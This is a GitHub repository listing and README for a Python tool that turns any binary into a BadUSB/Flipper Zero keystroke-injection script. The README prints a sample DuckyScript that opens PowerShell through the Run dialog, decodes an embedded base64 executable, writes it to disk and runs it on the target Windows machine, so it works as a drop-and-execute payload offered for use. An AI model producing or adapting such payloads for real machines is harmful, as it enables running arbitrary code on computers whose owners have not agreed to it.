https://github.com/james-p-d/badusbbinfileps
Small program for generating BadUSB script that generates binary files in Python
https://github.com/james-p-d/badusbbinfileps
bad-usb badusb badusb-payloads flipper-zero flipperzero
Last synced: 9 days ago
JSON representation
Small program for generating BadUSB script that generates binary files in Python
- Host: GitHub
- URL: https://github.com/james-p-d/badusbbinfileps
- Owner: James-P-D
- License: mit
- Created: 2024-03-16T18:11:06.000Z (about 1 year ago)
- Default Branch: main
- Last Pushed: 2025-01-02T19:01:33.000Z (4 months ago)
- Last Synced: 2025-03-28T06:23:45.117Z (27 days ago)
- Topics: bad-usb, badusb, badusb-payloads, flipper-zero, flipperzero
- Language: Python
- Homepage:
- Size: 24.3 MB
- Stars: 3
- Watchers: 2
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
README
# BadUSBBinFilePS
Small program for generating BadUSB script that generates binary files in Python
## Introduction
When using BadUSB it is sometimes necessary to get a binary file onto the target machine. Unless the ducky device you are using can double up as an HID input *and* an external drive, you typically need to download the binary file from some online source, usually over HTTP(S). As a workaround for this, I decided to create a short Python script which could generate a BadUSB script which included the base64-encoded data for the binary file and was decoded in Powershell.
## Usage
Running the script with arguments produces:
```
Python main.py BINARY_FILE OUTPUT_BAD_USB_FILE
E.G.
Python main.py helloworld.exe bad_usb_test.txt
```So to run it simply supply the arguments for the binary file to encode, and name of the BadUSB script file to be created.
The outputted file will look something like this:
```
GUI r
DELAY 500
STRING powershell
ENTER
STRING $b64str = 'TVqQAAMAAAAEAAAA.....[Lots more data]'
ENTER
STRING $bytes = [Convert]::FromBase64String($b64str)
ENTER
DELAY 500
STRING [io.file]::WriteAllBytes('helloworld.exe', $bytes)
ENTER
DELAY 500
STRING ./helloworld.exe
ENTER
```When run on the target Windows machine it will WIN+r to open the 'run' dialog, then start `powershell`, then decode the base64-encoded data and save to file, and then finally run the executable. The execution of this script can be seen in the video at the top of this file.